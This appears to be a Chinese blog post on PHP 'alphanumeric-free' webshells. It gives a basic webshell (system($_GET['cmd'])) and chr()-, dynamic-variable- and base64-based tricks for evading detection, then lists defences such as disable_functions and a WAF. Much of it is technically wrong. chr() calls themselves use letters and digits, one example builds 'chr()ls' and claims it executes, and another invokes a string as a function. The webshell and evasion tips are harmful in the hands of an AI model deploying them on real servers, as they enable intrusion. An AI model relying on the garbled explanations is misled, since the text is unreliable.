Loading... ### 无字母数字WebShell的命令执行 在Web安全领域,WebShell是一种常见的攻击手段,通过它攻击者可以远程执行服务器上的命令,获取敏感信息或控制系统。而无字母数字WebShell则是其中一种特殊形式,通过避免使用字母和数字字符,来绕过某些安全机制的检测。 #### 一、无字母数字WebShell的基本原理 无字母数字WebShell利用了PHP等脚本语言的灵活性,通过将字符转换函数(如 `chr()`)、字符串连接符(如 `.`),或其他字符操作方法来构建出命令,进而避免直接使用字母和数字。 例如,通常的WebShell可能包含类似如下的代码: ```php <?php echo system($_GET['cmd']); ?> ``` 而无字母数字WebShell则会通过一些字符操作,将上述代码进行转换。例如,可以通过 `chr()`函数将每个字母的ASCII值转换为字符: ```php <?php echo system(chr(99).chr(109).chr(100)); ?> ``` 这段代码中,`chr(99)`表示字符 `c`,`chr(109)`表示字符 `m`,`chr(100)`表示字符 `d`,最终构成 `cmd`命令。 #### 二、实现无字母数字WebShell 1. **基础命令生成**: 使用 `chr()`函数生成命令,如生成 `"ls"`命令: ```php $cmd = chr(108) . chr(115); // 'l' = chr(108), 's' = chr(115) echo system($cmd); ``` 2. **字符拼接与执行**: PHP中可以通过字符串拼接和函数调用的方式避免使用字母: ```php $f = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $cmd = chr(108).chr(115); $f($cmd); ``` 这段代码通过将字符的ASCII值转为字符,拼接得到 `system`和 `ls`命令,然后调用 `system`执行 `ls`。 3. **无字母执行Shell命令**: 完整的无字母数字WebShell可以通过将这些技术组合来执行任意命令。例如: ```php $a = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $b = chr(99).chr(104).chr(114); $c = chr(40).chr(41); // () $cmd = $b.$c.chr(108).chr(115); // chr(99).chr(104).chr(114).chr(40).chr(41).'ls' $a($cmd); ``` 该代码拼接出命令 `chr(ls)`,并利用 `system`函数执行。 #### 三、规避检测的高级技巧 1. **动态变量名**: 通过动态生成的变量名进一步混淆WebShell: ```php ${chr(102).chr(117).chr(110)} = 'system'; ${chr(99).chr(104).chr(114)} = 'ls'; ${${chr(102).chr(117).chr(110)}}(${${chr(99).chr(104).chr(114)}}()); ``` 这种方法将变量名和函数名都通过 `chr()`生成,进一步规避静态检测。 2. **编码与解码**: 将命令编码为Base64等格式,并在执行前解码: ```php $cmd = base64_decode('bHM='); // 'bHM=' is base64 for 'ls' system($cmd); ``` 通过Base64编码后再解码执行,增加了WebShell的隐蔽性。 #### 四、防御措施 尽管无字母数字WebShell通过绕过传统字符的方式来执行命令,但仍有多种防御手段可以提高系统的安全性: 1. **禁用危险函数**:在PHP配置中禁用 `system`、`exec`等函数,防止命令执行。 ```ini disable_functions = system, exec, shell_exec, passthru ``` 2. **使用WAF**:部署Web应用防火墙(WAF),对请求进行深度检测和过滤,识别并阻断恶意Payload。 3. **日志监控与分析**:对Web服务器日志进行实时监控,检测异常请求或命令执行痕迹。 4. **最小化权限**:限制Web服务器用户的权限,确保即使WebShell被利用,攻击者也无法获得高权限执行命令。 ### 五、总结 无字母数字WebShell是一种利用PHP等语言灵活特性的攻击手段,攻击者通过字符转换和编码技术绕过安全机制,执行恶意命令。然而,通过合理的防御措施,如禁用危险函数、使用WAF等,可以有效减少这种攻击带来的风险。在实践中,系统管理员应结合多种手段,提高服务器的安全性。 最后修改:2024 年 08 月 15 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 如果觉得我的文章对你有用,请随意赞赏